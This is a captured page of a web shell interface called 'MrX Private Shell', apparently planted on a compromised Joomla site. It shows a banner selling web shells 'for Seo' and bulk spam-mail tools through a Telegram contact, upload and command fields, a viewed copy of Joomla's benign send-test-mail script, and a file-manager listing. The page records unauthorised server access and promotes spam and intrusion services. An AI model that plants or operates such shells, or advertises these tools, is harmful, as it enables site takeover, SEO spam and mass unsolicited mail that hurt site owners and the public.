__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
((customElements, Joomla) => {
  class JoomlaFieldSendTestMail extends HTMLElement {
    // attributeChangedCallback(attr, oldValue, newValue) {}
    constructor() {
      super();
      if (!Joomla) {
        throw new Error('Joomla API is not properly initiated');
      }
      if (!this.getAttribute('uri')) {
        throw new Error('No valid url for validation');
      }
    }
    connectedCallback() {
      const self = this;
      const button = document.getElementById('sendtestmail');
      if (button) {
        button.addEventListener('click', () => {
          self.sendTestMail(self);
        });
      }
    }
    sendTestMail() {
      const emailData = {
        smtpauth: document.getElementById('jform_smtpauth1').checked ? 1 : 0,
        smtpuser: this.querySelector('[name="jform[smtpuser]"]').value,
        smtphost: this.querySelector('[name="jform[smtphost]"]').value,
        smtpsecure: this.querySelector('[name="jform[smtpsecure]"]').value,
        smtpport: this.querySelector('[name="jform[smtpport]"]').value,
        mailfrom: this.querySelector('[name="jform[mailfrom]"]').value,
        fromname: this.querySelector('[name="jform[fromname]"]').value,
        mailer: this.querySelector('[name="jform[mailer]"]').value,
        mailonline: document.getElementById('jform_mailonline1').checked ? 1 : 0
      };
      const smtppass = this.querySelector('[name="jform[smtppass]"]');
      if (smtppass.disabled === false) {
        emailData.smtppass = smtppass.value;
      }

      // Remove js messages, if they exist.
      Joomla.removeMessages();
      Joomla.request({
        url: this.getAttribute('uri'),
        method: 'POST',
        data: JSON.stringify(emailData),
        perform: true,
        headers: {
          'Content-Type': 'application/json'
        },
        onSuccess: resp => {
          let response;
          try {
            response = JSON.parse(resp);
          } catch (e) {
            // eslint-disable-next-line no-console
            console.error(e);
          }
          if (typeof response.messages === 'object' && response.messages !== null) {
            Joomla.renderMessages(response.messages);
          }
          document.body.scrollIntoView({
            behavior: 'smooth'
          });
        },
        onError: xhr => {
          Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr));
          document.body.scrollIntoView({
            behavior: 'smooth'
          });
        }
      });
    }
  }
  customElements.define('joomla-field-send-test-mail', JoomlaFieldSendTestMail);
})(customElements, Joomla);

Filemanager

Name Type Size Permission Actions
calendar-locales Folder 0775
calendar.js File 40.67 KB 0664
calendar.min.js File 24.12 KB 0664
calendar.min.js.gz File 6.75 KB 0664
color-field-adv-init.js File 1.09 KB 0664
color-field-adv-init.min.js File 788 B 0664
color-field-adv-init.min.js.gz File 430 B 0664
joomla-field-color-slider.js File 17.65 KB 0664
joomla-field-color-slider.min.js File 7.71 KB 0664
joomla-field-color-slider.min.js.gz File 2.64 KB 0664
joomla-field-fancy-select.js File 13.23 KB 0664
joomla-field-fancy-select.min.js File 6.06 KB 0664
joomla-field-fancy-select.min.js.gz File 2 KB 0664
joomla-field-media.js File 12.56 KB 0664
joomla-field-media.min.js File 8.14 KB 0664
joomla-field-media.min.js.gz File 2.41 KB 0664
joomla-field-module-order.js File 4.29 KB 0664
joomla-field-module-order.min.js File 2.4 KB 0664
joomla-field-module-order.min.js.gz File 1.04 KB 0664
joomla-field-permissions.js File 5.37 KB 0664
joomla-field-permissions.min.js File 3.43 KB 0664
joomla-field-permissions.min.js.gz File 1.29 KB 0664
joomla-field-send-test-mail.js File 2.54 KB 0664
joomla-field-send-test-mail.min.js File 1.49 KB 0664
joomla-field-send-test-mail.min.js.gz File 688 B 0664
joomla-field-simple-color.js File 12.91 KB 0664
joomla-field-simple-color.min.js File 7.44 KB 0664
joomla-field-simple-color.min.js.gz File 2.88 KB 0664
joomla-field-subform.js File 18.53 KB 0664
joomla-field-subform.min.js File 7.89 KB 0664
joomla-field-subform.min.js.gz File 2.44 KB 0664
joomla-field-user.js File 4.39 KB 0664
joomla-field-user.min.js File 2.84 KB 0664
joomla-field-user.min.js.gz File 1001 B 0664
joomla-media-select.js File 20.74 KB 0664
joomla-media-select.min.js File 14.54 KB 0664
joomla-media-select.min.js.gz File 3.42 KB 0664
modal-content-select-field.js File 5.78 KB 0664
modal-content-select-field.min.js File 2.57 KB 0664
modal-content-select-field.min.js.gz File 1.16 KB 0664
modal-fields.js File 6.91 KB 0664
modal-fields.min.js File 2.75 KB 0664
modal-fields.min.js.gz File 909 B 0664
passwordstrength.js File 6.44 KB 0664
passwordstrength.min.js File 2.73 KB 0664
passwordstrength.min.js.gz File 1.13 KB 0664
passwordview.js File 2.76 KB 0664
passwordview.min.js File 1.21 KB 0664
passwordview.min.js.gz File 600 B 0664
select-colour.js File 1.33 KB 0664
select-colour.min.js File 783 B 0664
select-colour.min.js.gz File 401 B 0664
tag.js File 2.09 KB 0664
tag.min.js File 1.05 KB 0664
tag.min.js.gz File 528 B 0664
validate.js File 23.09 KB 0664
validate.min.js File 8.38 KB 0664
validate.min.js.gz File 3.12 KB 0664
Filemanager